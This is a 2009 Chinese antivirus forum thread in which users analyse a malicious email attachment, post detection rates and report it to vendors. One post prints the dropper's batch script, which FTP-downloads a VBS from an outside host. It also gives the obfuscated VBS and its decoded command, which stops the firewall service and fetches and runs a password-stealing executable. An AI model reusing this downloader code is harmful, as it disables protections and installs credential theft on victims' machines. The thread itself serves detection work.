新 信箱病毒一隻!! 小紅傘未偵測到!

benq80282

檔案 帳號.rar
接收於 2009.11.10 05:18:34 (UTC)
當前狀態:  完成
結果: 6/40 (15%)

http://www.virustotal.com/zh-tw/analisis/aca058ba1a231811c8f6181a7e022504816f7f2bcc2ebf1b7a4a1de76ee4847d-1257830314

d4875163

占个沙发 MSE和NOD32都没查处病毒

amour123

星星无视

tao791028154

RS20091110132511718535
瑞星上报 查询码

浩宇瀚海

费尔报

will

账号一：

1. 
   
2. echo o g03z.com>a
   
3. echo aa33>>a
   
4. echo bb33>>a
   
5. echo get t t.vbs>>a
   
6. echo by>>a
   
7. ftp -s:a
   
8. start t.vbs
   

复制代码

t.vbs

1. 
   
2. sub k
   
3. for i=1 to UBound(s)
   
4. r=r&chr(s(i)-823)
   
5. next
   
6. Set kk = CreateObject("Wscript.Shell")
   
7. kk.run r,0
   
8. end sub
   
9. s=array(836,922,932,923,855,870,922,855,933,924,939,855,938,939,934,935,855,938,927,920,937,924,923,920,922,922,924,938,938,861,924,922,927,934,855,934,855,939,925,939,925,939,869,933,924,939,885,933,869,939,943,939,861,924,922,927,934,855,920,920,874,874,885,885,933,869,939,943,939,861,924,922,927,934,855,921,921,874,874,885,885,933,869,939,943,939,861,924,922,927,934,855,937,924,922,941,855,923,855,923,869,924,943,924,885,885,933,869,939,943,939,861,924,922,927,934,855,921,944,924,885,885,933,869,939,943,939,861,925,939,935,855,868,938,881,933,869,939,943,939,861,923,924,931,855,933,869,939,943,939,861,923,869,924,943,924,861,920,939,939,937,928,921,855,886,869,941,921,938,855,868,937,861,923,924,931,855,886,855,886,869,924,943,924,855,886,869,941,921,938,855,886,869,921,920,939,861,938,939,920,937,939,855,927,939,939,935,881,870,870,921,940,944,869,944,920,927,934,934,869,922,934,932,869,939,942,870)
   
10. k
    

复制代码

解密后得到：
cmd /c

1. 
   
2. net stop sharedaccess
   
3. echo o tftft.net>n.txt
   
4. echo aa33>>n.txt
   
5. echo bb33>>n.txt
   
6. echo recv d d.exe>>n.txt
   
7. echo bye>>n.txt
   
8. ftp -s:n.txt
   
9. del n.txt
   
10. d.exe
    
11. attib ?.vbs -r
    
12. del ? ?.exe ?.vbs ?.bat
    
13. start http://buy.yahoo.com.tw/
    

复制代码

账号二跟账号一相同，是同一个东西
lnk型Downloader，宝岛台湾特产

d.exe :
Avira AntiVir  ---   DR/PSW.Online.all



[ 本帖最后由 will 于 2009-11-10 14:20 编辑 ]

jayavira

帳號.rar to eset
d.exe eav启发kill

dongsheng01

卡巴kill

悠柚

to a2 Fortinet

The file '#b##2.lnk' has been determined to be 'MALWARE'. Our analysts named the threat TR/Dldr.PIF.TN. The term "TR/" denotes a trojan horse that is able to spy out data, to violate your privacy or carry out unwanted modifications to the system.Detection will be added to our virus definition file (VDF) with one of the next updates.

angir

运行后微点日志分析无异常
上报微点